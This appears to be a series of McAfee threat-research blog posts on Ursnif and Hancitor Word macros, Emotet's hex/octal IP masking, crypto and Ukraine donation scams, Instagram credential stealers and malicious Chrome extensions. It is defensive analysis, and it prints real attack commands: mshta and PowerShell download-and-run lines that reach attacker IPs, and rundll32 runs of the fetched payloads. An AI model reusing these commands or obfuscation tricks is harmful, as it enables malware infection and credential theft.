The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, Word downloads a DLL (Ursnif payload). The Ursnif payload is then executed using rundll32.exe
Macros are disabled by default and the malware authors are aware of this and hence present an image to entice the victims into enabling them.
Analyzing the sample statically with ‘oleId’ and ‘olevba’ indicates the suspicious vectors..
The VBA Macro is compatible with x32 and x64 architectures and is highly obfuscated as seen in Figure-5
To get a better understanding of the functionality, we have de-obfuscated the contents in the 2 figures shown below.
An interesting characteristic of this sample is that some of the strings like CLSID, URL for downloading Ursnif, and environment variables names are stored in custom document properties in reverse. As shown in Figure-7, VBA function “ActiveDocument.CustomDocumentProperties()” is used to retrieve the properties and uses “StrReverse” to reverse the contents.
We can see the document properties in Figure-8
The malicious macro retrieves hidden shellcode from a custom property named “Company” using the “cdec” function that converts the shellcode from string to decimal/hex value and executes it. The shellcode is shown below.
The shellcode is written to memory and the access protection is changed to PAGE_EXECUTE_READWRITE.
After adding the shellcode in memory, the environment variable containing the malicious URL of Ursnif payload is created. This Environment variable will be later used by the shellcode.
The shellcode is executed with the use of the SetTimer API. SetTimer creates a timer with the specified time-out value mentioned and notifies a function when the time is elapsed. The 4th parameter used to call SetTimer is the pointer to the shellcode in memory which will be invoked when the mentioned time is elapsed.
The shellcode downloads the file from the URL stored in the environmental variable and stores it as ” y9C4A.tmp.dll ” and executes it with rundll32.exe.
URL | hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/ |
CMD | rundll32 “C:\Users\user\AppData\Local\Temp\y9C4A.tmp.dll”,DllRegisterServer |
After successful execution of the shellcode, the environment variable is removed.
TYPE | VALUE | PRODUCT | DETECTION NAME |
Main Word Document | 6cf97570d317b42ef8bfd4ee4df21d217d5f27b73ff236049d70c37c5337909f | McAfee LiveSafe and Total Protection | X97M/Downloader.CJG |
Downloaded dll | 41ae907a2bb73794bb2cff40b429e62305847a3e1a95f188b596f1cf925c4547 | McAfee LiveSafe and Total Protection | Ursnif-FULJ |
URL to download dll | hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/ | WebAdvisor | Blocked |
Technique ID | Tactic | Technique Details | Description |
T1566.001 | Initial Access | Spear phishing Attachment | Manual execution by user |
T1059.005 | Execution | Visual Basic | Malicious VBA macros |
T1218.011 | Defense Evasion | Signed binary abuse | Rundll32.exe is used |
T1027 | Defense Evasion | Obfuscation techniques | VBA and powershell base64 executions |
T1086 | Execution | Powershell execution | PowerShell command abuse |
Macros are disabled by default in Microsoft Office applications, we suggest keeping it that way unless the document is received from a trusted source. The infection chain discussed in the blog is not limited to Word or Excel. Further threats may use other live-off-the-land tools to download its payloads.
McAfee customers are protected against the malicious files and sites detailed in this blog with McAfee LiveSafe/Total Protection and McAfee Web Advisor.
The post Phishing Campaigns featuring Ursnif Trojan on the Rise appeared first on McAfee Blog.
By Oliver Devane
Editors note: In the past 24 hours (from time of publication) McAfee has identified 15 more scam sites bringing the total to 26. The combined value of the wallets shared on these sites is over $1,300,000 which is an increase of roughly $1,000,000 since this blog was last published. This highlights the scale of this current scam campaign. The table within this blog has been updated to include the new sites and crypto-wallets.
McAfee has identified several Youtube channels which were live-streaming a modified version of a live stream called ‘The B Word’ where Elon Musk, Cathie Wood, and Jack Dorsey discuss various aspects of cryptocurrency.
The modified live streams make the original video smaller and put a frame around it advertising malicious sites that it claims will double the amount of cryptocurrency you send them. As the topic of the video is on cryptocurrency it adds some legitimacy to the websites being advertised.
The original video is shown below on the left and a modified one which includes a reference to a scam site is shown on the right.
We identified several different streams occurring at a similar same time. The images of some are shown below:
The YouTube streams advertised several sites which shared a similar theme. They claim to send cryptocurrency worth double the value which they’ve received. For example, if you send 1BTC you will receive 2BTC in return. One of the site‘s frequently asked questions (FAQ) is shown below:
Here are some more examples of the scam sites we discovered:
The sites attempt to trick the visitors into thinking that others are sending cryptocurrency to it by showing a table with recent transactions. This is fake and is generated by JavaScript which creates random crypto wallets and amounts and then adds these to the table.
The wallets associated with the malicious sites have received a large number of transactions with a combined value of $280,000 as of 5 PM UTC on the 5th of May 2022
Scam Site | Crypto Type | Wallet | Value as on 5PM UTC 5th May 2022 |
22ark-invest[.]org | ETH | 0x820a78D8e0518fcE090A9D16297924dB7941FD4f | $25,726.46 |
22ark-invest[.]org | BTC | 1Q3r1TzwCwQbd1dZzVM9mdFKPALFNmt2WE | $29,863.78 |
2xEther[.]com | ETH | 0x5081d1eC9a1624711061C75dB9438f207823E694 | $2,748.50 |
2x-musk[.]net | ETH | 0x18E860308309f2Ab23b5ab861087cBd0b65d250A | $10,409.13 |
2x-musk[.]net | BTC | 17XfgcHCfpyYMFdtAWYX2QcksA77GnbHN9 | $4,779.47 |
arkinvest22[.]net | ETH | 0x2605dF183743587594A3DBC5D99F12BB4F19ac74 | $11,810.57 |
arkinvest22[.]net | BTC | 1GLRZZHK2fRrywVUEF83UkqafNV3GnBLha | $5,976.80 |
doublecrypto22[.]com | ETH | 0x12357A8e2e6B36dd6D98A2aed874D39c960eC174 | $0.00 |
doublecrypto22[.]com | BTC | 1NKajgogVrRYQjJEQY2BcvZmGn4bXyEqdY | $0.00 |
elonnew[.]com | ETH | 0xAC9275b867DAb0650432429c73509A9d156922Dd | $0.00 |
elonnew[.]com | BTC | 1DU2H3dWXbUA9mKWuZjbqqHuGfed7JyqXu | $0.00 |
elontoday[.]org | ETH | 0xBD73d147970BcbccdDe3Dd9340827b679e70d9d4 | $18,442.96 |
elontoday[.]org | BTC | bc1qas66cgckep3lrkdrav7gy8xvn7cg4fh4d7gmw5 | $0.00 |
Teslabtc22[.]com | ETH | 0x9B857C44C500eAf7fAfE9ed1af31523d84CB5bB0 | $27,386.69 |
Teslabtc22[.]com | BTC | 18wJeJiu4MxDT2Ts8XJS665vsstiSv6CNK | $17,609.62 |
tesla-eth[.]org | ETH | 0x436F1f89c00f546bFEf42F8C8d964f1206140c64 | $5,841.84 |
tesla-eth[.]org | BTC | 1CHRtrHVB74y8Za39X16qxPGZQ12JHG6TW | $132.22 |
teslaswell[.]com | ETH | 0x7007Fa3e7dB99686D337C87982a07Baf165a3C1D | $9.43 |
teslaswell[.]com | BTC | bc1qdjma5kjqlf7l6fcug097s9mgukelmtdf6nm20v | $0.00 |
twittergive[.]net | ETH | 0xB8e257C18BbEC93A596438171e7E1E77d18671E5 | $25,918.90 |
twittergive[.]net | BTC | 1EX3dG9GUNVxoz6yiPqqoYMQw6SwQUpa4T | $99,123.42 |
Scammers have been using social media sites such as Twitter and Youtube to attempt to trick users into parting ways with their cryptocurrency for the past few years. McAfee urges its customers to be vigilant and if something sounds too good to be true then it is most likely not legitimate.
Our customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee Web Advisor
Type | Value | Product | Blocked |
URL – Crypto Scam | twittergive[.]net | McAfee WebAdvisor | YES |
URL – Crypto Scam | tesla-eth[.]org | McAfee WebAdvisor | YES |
URL – Crypto Scam | 22ark-invest[.]org | McAfee WebAdvisor | YES |
URL – Crypto Scam | 2xEther[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | Teslabtc22[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | elontoday[.]org | McAfee WebAdvisor | YES |
URL – Crypto Scam | elonnew[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | teslaswell[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | 2x-musk[.]net | McAfee WebAdvisor | YES |
URL – Crypto Scam | doublecrypto22[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | arkinvest22[.]net | McAfee WebAdvisor | YES |
The post Crypto Scammers Exploit: Elon Musk Speaks on Cryptocurrency appeared first on McAfee Blog.
Authored by Dexter Shin
McAfee’s Mobile Research Team introduced a new Android malware targeting Instagram users who want to increase their followers or likes in the last post. As we researched more about this threat, we found another malware type that uses different technical methods to steal user’s credentials. The target is users who are not satisfied with the default functions provided by Instagram. Various Instagram modification application already exists for those users on the Internet. The new malware we found pretends to be a popular mod app and steals Instagram credentials.
Instander is one of the famous Instagram modification applications available for Android devices to help Instagram users access extra helpful features. The mod app supports uploading high-quality images and downloading posted photos and videos.
The initial screens of this malware and Instander are similar, as shown below.
Figure 1. Instander legitimate app(left) and Mmalware(right)
Next, this malware requests account(username or email) and password. Finally, this malware displays an error message regardless of whether the login information is correct.
Figure 2. Malware requests account and password
The malware steals the user’s username and password in a very unique way. The main trick is to use the Firebase API. First, the user input value is combined with l@gmail.com. This value and static password(=kamalw20051) are then sent via the Firebase API, createUserWithEmailAndPassword. And next, the password process is the same. After receiving the user’s account and password input, this malware will request it twice.
Figure 3. Main method to use Firebase API
Since we cannot see the dashboard of the malware author, we tested it using the same API. As a result, we checked the user input value in plain text on the dashboard.
Figure 4. Firebase dashboard built for testing
According to the Firebase document, createUserWithEmailAndPassword API is to create a new user account associated with the specified email address and password. Because the first parameter is defined as email patterns, the malware author uses the above code to create email patterns regardless of user input values.
It is an API for creating accounts in the Firebase so that the administrator can check the account name in the Firebase dashboard. The victim’s account and password have been requested as Firebase account name, so it should be seen as plain text without hashing or masking.
As an interesting point on the network traffic of the malware, this malware communicates with the Firebase server in Protobuf format in the network. The initial configuration of this Firebase API uses the JSON format. Although the Protobuf format is readable enough, it can be assumed that this malware author intentionally attempts to obfuscate the network traffic through the additional settings. Also, the domain used for data transfer(=www.googleapis.com) is managed by Google. Because it is a domain that is too common and not dangerous, many network filtering and firewall solutions do not detect it.
As mentioned, users should always be careful about installing 3rd party apps. Aside from the types of malware we’ve introduced so far, attackers are trying to steal users’ credentials in a variety of ways. Therefore, you should employ security software on your mobile devices and always keep up to date.
Fortunately, McAfee Mobile Security is able to detect this as Android/InstaStealer and protect you from similar threats. For more information visit McAfee Mobile Security
SHA256:
The post Instagram Credentials Stealer: Disguised as Mod App appeared first on McAfee Blog.
Authored by Dexter Shin
Instagram has become a platform with over a billion monthly active users. Many of Instagram’s users are looking to increase their follower numbers, as this has become a symbol of a person’s popularity. Instagram’s large user base has not gone unnoticed to cybercriminals. McAfee’s Mobile Research Team recently found new Android malware disguised in an app to increase Instagram followers
You can easily find apps on the internet that increase the number of Instagram followers. Some of these apps require both a user account and a password. Other types of apps only need the user to input their user account. But are these apps safe to use?
Figure 1. Suspicious apps in Google Images
Many YouTubers explain how to use these apps with tutorial videos. They log into the app with their own account and show that the number of followers is increasing. Among the many videos, the domain that appears repeatedly was identified
The way the domain introduces is very simple.
Figure 2. A screenshot to increase the number of followers by entering in 20 followers.
When you run the function, you can see that the number of followers increases every few seconds.
Figure 3. New follower notifications appear in the feed.
Some Telegram channels are promoting YouTube videos with domain links to the malware.
Figure 4. Message being promoted on Telegram
We have also observed a video from a famous YouTuber with over 190,000 subscribers promoting a malicious app. However, in the video, we found some concerning comments with people complaining that their credentials were being stolen.
Figure 5. Many people complain that their Instagram accounts are being compromised
We analyzed the application that is being promoted by the domain. The hidden malware does not require many permissions and therefore does not appear to be harmful. When users launch the app, they can only see the below website via the Android Webview.
Figure 6. Redirect to malicious website via Android Webview
After inspecting the app, we observe the initial code does not contain many features. After showing an advertisement, it will immediately show the malicious website. Malicious activities are performed at the website’s backend rather than within the Android app.
Figure 7. Simple 2 lines of initial code
The website says that your transactions are carried out using the Instagram API system with your username and password. It is secure because they use the user’s credentials via Instagram’s official server, not their remote server.
Contrary to many people’s expectations, we received abnormal login attempts from Turkey a few minutes after using the app. The device logged into the account was not an Instagram server but a personal device model of Huawei as LON-L29
Figure 8. Abnormal login attempt notification
As shown above, they don’t use an Instagram API. In addition, as you request followers, the number of the following also increases. In other words, the credentials you provided are used to increase the number of followers of other requesters. Everyone who uses this app has a relationship with each other. Moreover, they will store and use your credentials in their database without your acknowledgment.
The languages of most communication channels were English, Portuguese, and Hindi. Especially, Hindi was the most common, and most videos had more than 100 views. In the case of a famous YouTuber’s video, they have recorded more than 2,400 views. In addition, our test account had 400 followers in one day. It means that at least 400 users have sent credentials to the malware author.
As we mentioned in the opening remarks, many Instagram users want to increase their followers and likes. Unfortunately, attackers are also aware of the desires of these users and use that to attack them.
Therefore, users who want to install these apps should consider that their credentials may be leaked. In addition, there may be secondary attacks such as credential stuffing (=use of a stolen username and password pairs on another website). Aside from the above cases, there are many unanalyzed similar apps on the Internet. You shouldn’t use suspicious apps to get followers and likes.
McAfee Mobile Security detects this threat as Android/InstaStealer and protects you from this malware. For more information, visit McAfee Mobile Security
SHA256:
Domains:
The post Instagram Credentials Stealers: Free Followers or Free Likes appeared first on McAfee Blog.
Authored by Vallabh Chole and Oliver Devane
Scammers are very quick at reacting to current events, so they can generate ill-gotten gains. It comes as no surprise that they exploited the current events in Ukraine, and when the Ukrainian Twitter account tweeted Bitcoin and Ethereum wallet addresses for donations we knew that scammers would use this as a lure for their victims.
This blog covers some of the malicious sites and emails McAfee has observed in the past few weeks.
A crypto donation scam occurs when perpetrators create phishing websites and emails that contain cryptocurrency wallets asking for donations. We have observed several new domains being created which perform this malicious activity, such as ukrainehelp[.]world and ukrainethereum[.]com.
Below is a screenshot of Ukrainehelp[.]world, which is a phishing site asking for crypto donations for UNICEF. The website contains the BBC logo and several crypto wallet addresses.
While investigating this site, we observed that the Ethereum wallet used use was also associated with an older crypto scam site called eth-event20.com. The image below shows the current value of the crypto wallet which is worth $114,000. Interestingly this wallet transfers all its coins to 0xc95eb2aa75260781627e7171c679a490e2240070 which in turn transfers to 0x45fb09468b17d14d2b9952bc9dcb39ee7359e64d. The final wallet currently has 313 ETH which is worth over $850,000. This shows the large sums of money scammers can generate with phishing sites.
Ukrainethereum[.]com is another crypto scam site, but what makes this one interesting is the features it contains to gain the victim’s confidence in trusting the website such as a fake chatbox and a fake donation verifier.
The image above shows the chatbox on the left-hand side which displays several messages. At first glance, it would appear as if other users are on the website and talking, but when you reload the site it shows the same messages. This is due to the chat messages being displayed from a list that is used to populate the website with JavaScript code as shown on the right-hand side.
The site contains a donation checker so the victim can see if their donation was received, as shown below.
The following image shows one of the examples of phish emails we have observed.
The email is not addressed to anyone specifically as they are mass-mailed to multiple email addresses. The wallet IDs in the email are not associated with the official Ukraine Twitter and are owned by scammers. As you can see in the image above, they are similar as the first 3 characters are the same. This could lead to some users believing it is legitimate. Therefore, it’s important to check that the wallet address is identical.
This is the most common type of phishing website. The goal of these sites it entices the victim into entering their credit card and personally identifiable information (PII) data by making them believe that the site being visited is official. This section contains details on one such website we have found using Ukraine donations as a lure.
The image below shows the phishing site. The website was used to save the children’s NGO links and images, which made it appear more genuine. You can see that is it asking the victim to enter their credit card and billing information.
Once the data is entered, and the victim clicks on ‘Donate’, the information will be submitted via the form and will be sent to scammers so they can then use or sell the information.
We observed that a few days after the website was created, the scammers change the site code so that it became a Mcdonald’s phishing site targeting the Arab Emirates. This was a surprising change in tactics.
The heatmap below shows the detections McAfee has observed around the world for the malicious sites mentioned in this blog.
For general cyber scam, education click here
McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee Web Advisor
Type | Value | Product | Detected |
URL – Phishing Sites | ukrainehelp[.]world | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | ukrainethereum[.]com | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | unitedhelpukraine[.]kiev[.]ua/ | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | donationukraine[.]io/donate | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | help-ukraine-compaign[.]com/shop | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | ukrainebitcoin[.]online/ | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | ukrainedonation[.]org/donate | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | ukrainewar[.]support | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | sendhelptoukraine[.]com | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | worldsupportukraine[.]com | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | paytoukraine[.]space | McAfee WebAdvisor | Blocked |
URL – Phishing Sites | razonforukraine[.]com | McAfee WebAdvisor | Blocked |
The post Scammers are Exploiting Ukraine Donations appeared first on McAfee Blog.
Authored by Oliver Devane, Vallabh Chole, and Aayush Tyagi
McAfee has recently observed several malicious Chrome Extensions which, once installed, will redirect users to phishing sites, insert Affiliate IDs and modify legitimate websites to exfiltrate personally identifiable information (PII) data. According to the Google Extension Chrome Store, the combined install base is 100,000
McAfee Labs has observed these extensions are prevalent in USA, Europe and India as we can observe in the heatmap below.
The perpetrator targets over 1,400 domains, where 100 of them belong to the top 10,000 Alexa ranking including hbomax.com, hotels.com and expedia.com.
One extension, ‘Netflix Party’, mimics the original Netflix Party extension, which allows groups of people to watch Netflix shows at the same time. However, this version monitors all the websites you visit and performs several malicious activities.
The malicious actor behind the extensions has created several Twitter accounts and fake review websites to deceive users into trusting and installing the extensions.
The victim will be tricked into installing the extension and their data will be stolen when browsing a gift card site.
The details of each step are as follows:
This section contains the technical analysis of the malicious chrome extension “bncibciebfeopcomdaknelhcohiidaoe“.
The manifest.json file contains the permissions of the extension. The ‘unsafe-eval’ permission in the ‘content_security_policy’ and the allowed use of content.js on any website visited by the user is of particular concern
When the extension is installed, the background.js script will be loaded. This file uses a simple obfuscation technique of putting all the code on one line which makes it difficult to read. This is easily cleaned up by using a code beautifier and the image below shows the obfuscated script on the first line and the cleaned-up code below the red arrow.
This script accesses https://accessdashboard[.]live to download a script and store it as variable ‘code’ in Chrome’s local storage. This stored variable is then referenced in the content.js script, which is executed on every visited website.
After beautification, we see the code will read the malicious script from the ‘code’ variable which was previously stored.
The malicious code has three main functions, redirection for phishing, modifying of cookies to add AffiliateIDs, and modifying of website code to add chat windows.
Redirection for phishing works by checking if the URL being accessed matches a list, and conditionally redirects to a malicious IP that hosts the phishing site.
URLs monitored are:
Upon navigating to one of the above sites, the user will be redirected to 164[.]90[.]144[.]88. An observant user would notice that the URL would have changed to an IP address, but some users may not.
The image below shows the Apple Phishing site and the various phishing kits being hosted on this server.
The phishing sites share similar codes. If a user enters their gift card information, the data will be posted to 52.8.106.52. A network capture of the post request is shown below:
The second malicious function contains AIPStore which is a dictionary containing a list of URLs and their respective monetizing sites which provide affiliate IDs. This function works by loading new tabs which will result in cookies being set on the visited sites. The flow below describes how the extension will work.
The left image below shows the original site with no affiliate cookie, the one on the right highlights the cookie that has been added by the extension.
The final function checks a list of URLs being accessed and if they match, a JS script will be injected into the HTML code which will result in a chat window being displayed. The image below shows the injected script and the chat window.
The chat window may be used by the malicious actor to request PII data, credit card, and product key information.
This threat is a good example of the lengths malicious actors will go to trick users into installing malware such as creating Twitter accounts and fake review websites.
McAfee advises its customers to be cautious when installing Chrome Extensions and pay attention to the permissions that they are requesting.
The permissions will be shown by Chrome before the installation of the Extension. Customers should take extra steps to verify the authenticity if the extension is requesting permissions that enable it to run on every website you visit such as the one detailed in this blog
McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee WebAdvisor as shown below.
The Malicious code within the extension is detected as Phish-Extension. Please perform a ‘Full’ scan via the product.
Type | Value | Product | Detected |
URL – Phishing Sites | 164.90.141.88/* | McAfee WebAdvisor | Blocked |
Chrome Extension | netflix-party – bncibciebfeopcomdaknelhcohiidaoe | Total Protection and LiveSafe | Phish-Extension |
Chrome Extension | teleparty – flddpiffdlibegmclipfcnmaibecaobi | Total Protection and LiveSafe | Phish-Extension |
Chrome Extension | hbo-max-watch-party – dkdjiiihnadmgmmfobidmmegidmmjobi | Total Protection and LiveSafe | Phish-Extension |
Chrome Extension | prime-watch-party – hhllgokdpekfchhhiknedpppjhgicfgg | Total Protection and LiveSafe | Phish-Extension |
Chrome Extension | private-watch-party – maolinhbkonpckjldhnocgilkabpfodc | Total Protection and LiveSafe | Phish-Extension |
Chrome Extension | hotstar-ad-blocker – hacogolfhplehfdeknkjnlblnghglfbp | Total Protection and LiveSafe | Phish-Extension |
Chrome Extension | hbo-ad-blocker – cbchmocclikhalhkckeiofpboloaakim | Total Protection and LiveSafe | Phish-Extension |
Chrome Extension | blocksite – pfhjfcifolioiddfgicgkapbkfndaodc | Total Protection and LiveSafe | Phish-Extension |
Chrome Extension | hbo-enhanced – pkdpclgpnnfhpapcnffgjbplfbmoejbj | Total Protection and LiveSafe | Phish-Extension |
Chrome Extension | hulu-watch-party – hkanhigmilpgifamljmnfppnllckkpda | Total Protection and LiveSafe | Phish-Extension |
Chrome Extension | disney-plus-watch-party – flapondhpgmggemifmemcmicjodpmkjb | Total Protection and LiveSafe | Phish-Extension |
Chrome Extension | spotify-ad-blocker – jgofflaejgklikbnoefbfmhfohlnockd | Total Protection and LiveSafe | Phish-Extension |
Chrome Extension | ott-party – lldibibpehfomjljogedjhaldedlmfck | Total Protection and LiveSafe | Phish-Extension |
The post Imposter Netflix Chrome Extension Dupes 100k Users appeared first on McAfee Blog.
Authored by Oliver Devane and Vallabh Chole
Notifications on Chrome and Edge, both desktop browsers, are commonplace, and malicious actors are increasingly abusing this feature. McAfee previously blogged about how to change desktop browser settings to stop malicious notifications. This blog focuses on Chrome notifications on Android mobile devices such as phones and tablets, and how McAfee Mobile Security protects users from malicious sites leveraging these notifications.
Most users are unaware of the source of these notifications. Permission is granted when a user clicks ‘Allow’ on a prompt within Android Chrome.
Many malicious websites use language and images like the one above that entice the user to click ‘Allow’ such as ‘Just one more step! Click “Allow” to continue. Once allow is clicked, the website is added to a site permissions list, which will enable it to send notifications.
The notifications will look like a usual Android notification which you will be used to seeing such as you have a new WhatsApp message or email. To identify the source of the notification, we need to look for the application name which is like the one highlighted in the red box below.
The image above shows the notification came from Chrome and it is from the website premiumbros[.]com. This is something you should pay attention to as it will be needed when you want to stop annoying notifications.
Some notifications like the ones in this blog are malicious as they attempt to trick users into believing that their mobile device is infected with a virus and some action is required. When the users click the notification, Chrome will load a website which will present them with a fake warning like the example below:
Clicking either Cancel or Update Now on the above website will result in the same behavior. The browser will redirect the user to a google play store app so that they can download and install it.
The malicious websites will flood your phone with several notifications. The screenshot below shows an example of this:
You may ask yourself, why do malicious actors try to get me to install a google play application? The people behind these scams receive a commission when these applications are installed on devices. They rely on deceptive tactics to trick users into installing them to maximize profits.
To remove a website’s notification permission, you need to change a Chrome setting.
1- Find out the name of the website which is sending these notifications. This can be done by looking at the notification and noting down the name of the website. If we use this blog as an example, it would be premiumbros[.]com
2- Open the Chrome browser app which can be found by performing the following search:
3- Click the three … on the top right hand of the application
4- Scroll down and click on settings
5- Click on Notifications
6- Scroll down until you find the website which you identified in step 1
7- Pres the blue radio button so it turns grey
8- Notifications will now be disabled for that website. If you want to block multiple websites, click the radio button for them as well.
McAfee customers who have McAfee Mobile Security are protected against these malicious websites as long as they enable the ‘Safe Browsing’ feature within the application.
Upon trying to access a malicious website such as the one in the blog it will be blocked as shown in the image below:
Please read this guide on enabling the Safe Browsing feature within the Mobile Security Application.
The post Why Am I Getting All These Notifications on my Phone? appeared first on McAfee Blog.
Authored By: Kiran Raj
In a recent campaign of Emotet, McAfee Researchers observed a change in techniques. The Emotet maldoc was using hexadecimal and octal formats to represent IP address which is usually represented by decimal formats. An example of this is shown below:
Hexadecimal format: 0xb907d607
Octal format: 0056.0151.0121.0114
Decimal format: 185.7.214.7
This change in format might evade some AV products relying on command line parameters but McAfee was still able to protect our customers. This blog explains this new technique.
Below is the image (figure 2) of the initial worksheet opened in excel. We can see some hidden worksheets and a social engineering message asking users to enable content. By enabling content, the user allows the malicious code to run.
On examining the excel spreadsheet further, we can see a few cell addresses added in the Named Manager window. Cells mentioned in the Auto_Open value will be executed automatically resulting in malicious code execution.
Below are the commands used in Hexadecimal and Octal variants of the Maldocs
FORMAT | OBFUSCATED CMD | DEOBFUSCATED CMD |
Hexadecimal | cmd /c m^sh^t^a h^tt^p^:/^/[0x]b907d607/fer/fer.html | http://185[.]7[.]214[.]7/fer/fer.html |
Octal | cmd /c m^sh^t^a h^tt^p^:/^/0056[.]0151[.]0121[.]0114/c.html | http://46[.]105[.]81[.]76/c.html |
On executing the Excel spreadsheet, it invokes mshta to download and run the malicious JavaScript which is within an html file.
The downloaded file fer.html containing the malicious JavaScript is encoded with HTML Guardian to obfuscate the code
The Malicious JavaScript invokes PowerShell to download the Emotet payload from “hxxp://185[.]7[.]214[.]7/fer/fer.png” to the following path “C:\Users\Public\Documents\ssd.dll”.
cmd line | (New-Object Net.WebClient).DownloadString(‘http://185[.]7[.]214[.]7/fer/fer.png’) |
The downloaded Emotet DLL is loaded by rundll32.exe and connects to its command-and-control server
cmd line | cmd /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString |
TYPE | VALUE | SCANNER | DETECTION NAME |
XLS | 06be4ce3aeae146a062b983ce21dd42b08cba908a69958729e758bc41836735c | McAfee LiveSafe and Total Protection | X97M/Downloader.nn |
DLL | a0538746ce241a518e3a056789ea60671f626613dd92f3caa5a95e92e65357b3 | McAfee LiveSafe and Total Protection
|
Emotet-FSY |
HTML URL | http://185[.]7[.]214[.]7/fer/fer.html
http://46[.]105[.]81[.]76/c.html |
WebAdvisor | Blocked |
DLL URL | http://185[.]7[.]214[.]7/fer/fer.png
http://46[.]105[.]81[.]76/cc.png |
WebAdvisor | Blocked |
TECHNIQUE ID | TACTIC | TECHNIQUE DETAILS | DESCRIPTION |
T1566 | Initial access | Phishing attachment | Initial maldoc uses phishing strings to convince users to open the maldoc |
T1204 | Execution | User Execution | Manual execution by user |
T1071 | Command and Control | Standard Application Layer Protocol | Attempts to connect through HTTP |
T1059 | Command and Scripting Interpreter | Starts CMD.EXE for commands execution | Excel uses cmd and PowerShell to execute command |
T1218
|
Signed Binary Proxy Execution | Uses RUNDLL32.EXE and MSHTA.EXE to load library | rundll32 is used to run the downloaded payload. Mshta is used to execute malicious JavaScript |
Office documents have been used as an attack vector for many malware families in recent times. The Threat Actors behind these families are constantly changing their techniques in order to try and evade detection. McAfee Researchers are constantly monitoring the Threat Landscape to identify these changes in techniques to ensure our customers stay protected and can go about their daily lives without having to worry about these threats.
The post Emotet’s Uncommon Approach of Masking IP Addresses appeared first on McAfee Blog.
By Sriram P & Lakshya Mathur
Hancitor, a loader that provides Malware as a Service, has been observed distributing malware such as FickerStealer, Pony, CobaltStrike, Cuba Ransomware, and many more. Recently at McAfee Labs, we observed Hancitor Doc VBA (Visual Basic for Applications) samples dropping the payload using the Windows clipboard through Selection.Copy method.
This blog focuses on the effectiveness of this newly observed technique and how it adds an extra layer of obfuscation to evade detection.
Below (Figure 1) is the Geolocation based stats of Hancitor Malicious Doc observed by McAfee since September 2021
Malware authors send the victims a phishing email containing a link as shown in the below screenshot (Figure 3). The usual Docusign theme is used in this recent Hancitor wave. This phishing email contains a link to the original malicious word document. On clicking the link, the Malicious Doc file is downloaded.
Since the macros are disabled by default configuration, malware authors try to lure victims into believing that the file is from legitimate organizations or individuals and will ask victims to enable editing and content to start the execution of macros. The screenshot below (Figure 4) is the lure technique that was observed in this current wave.
As soon as the victim enables editing, malicious macros are executed via the Document_Open function.
There is an OLE object embedded in the Doc file. The screenshot below (Figure 5) highlights the object as an icon.
The loader VBA function, invoked by document_open, calls this random function (Figure 6), which moves the selection cursor to the exact location of the OLE object using the selection methods (.MoveDown, .MoveRight, .MoveTypeBackspace). Using the Selection.Copy method, it will copy the selected OLE object to the clipboard. Once it is copied in the clipboard it will be dropped under %temp% folder.
When an embedded object is being copied to the clipboard, it gets written to the temp directory as a file. This method is used by the malware author to drop a malicious word document instead of explicitly writing the file to disk using macro functions like the classic FileSystemObject.
In this case, the file was saved to the %temp% location with filename name “zoro.kl” as shown in the below screenshot (Fig 8). Fig 7 shows the corresponding procmon log involving the file write event.
Using the CreateObject(“Scripting.FileSystemObject”) method, the malware moves the file to a new location \Appdata\Roaming\Microsoft\Templates and renames it to “zoro.doc”.
This file is then opened with the built-in document method, Documents.open. This moved file, zoro.doc, is password-protected. In this case, the password used was “doyouknowthatthegodsofdeathonlyeatapples?”. We have also seen the usage of passwords like “donttouchme”, etc.
This newly dropped doc is executed using the Documents.Open function (Figure 11).
Zoro.doc uses the same techniques to copy and drop the next payload as we saw earlier. The only difference is that it has a DLL as the embedded OLE object.
It drops the file in the %temp% folder using clipboard with the name “gelforr.dap”. Again, it moves gelforr.dap DLL file to \Appdata\Roaming\Microsoft\Templates (Figure 12).
Finally, after moving DLL to the templates folder, it is executed using Rundll32.exe by another VBA call.
MITRE ATT&CK
Technique ID | Tactic | Technique details |
T1566.002 | Initial Access | Spam mail with links |
T1204.001 | Execution | User Execution by opening the link. |
T1204.002 | Execution | Executing downloaded doc |
T1218 | Defense Evasion | Signed Binary Execution Rundll32 |
T1071 | C&C (Command & Control) | HTTP (Hypertext Transfer Protocol) protocol for communication |
IOC (Indicators Of Compromise)
Type | SHA-256 | Scanner | Detection Name |
Main Doc | 915ea807cdf10ea4a4912377d7c688a527d0e91c7777d811b171d2960b75c65c | WSS | W97M/Dropper.im |
Dropped Doc | c1c89e5eef403532b5330710c9fe1348ebd055d0fe4e3ebbe9821555e36d408e | WSS | W97M/Dropper.im
|
Dropped DLL | d83fbc9534957dd464cbc7cd2797d3041bd0d1a72b213b1ab7bccaec34359dbb | WSS | RDN/Hancitor |
URLs (Uniform Resource Locator) | hxxp://mettlybothe.com/8/forum[.]php | WebAdvisor | Blocked |
The post HANCITOR DOC drops via CLIPBOARD appeared first on McAfee Blog.
Co-authored by: Sriram P and Deepak Setty
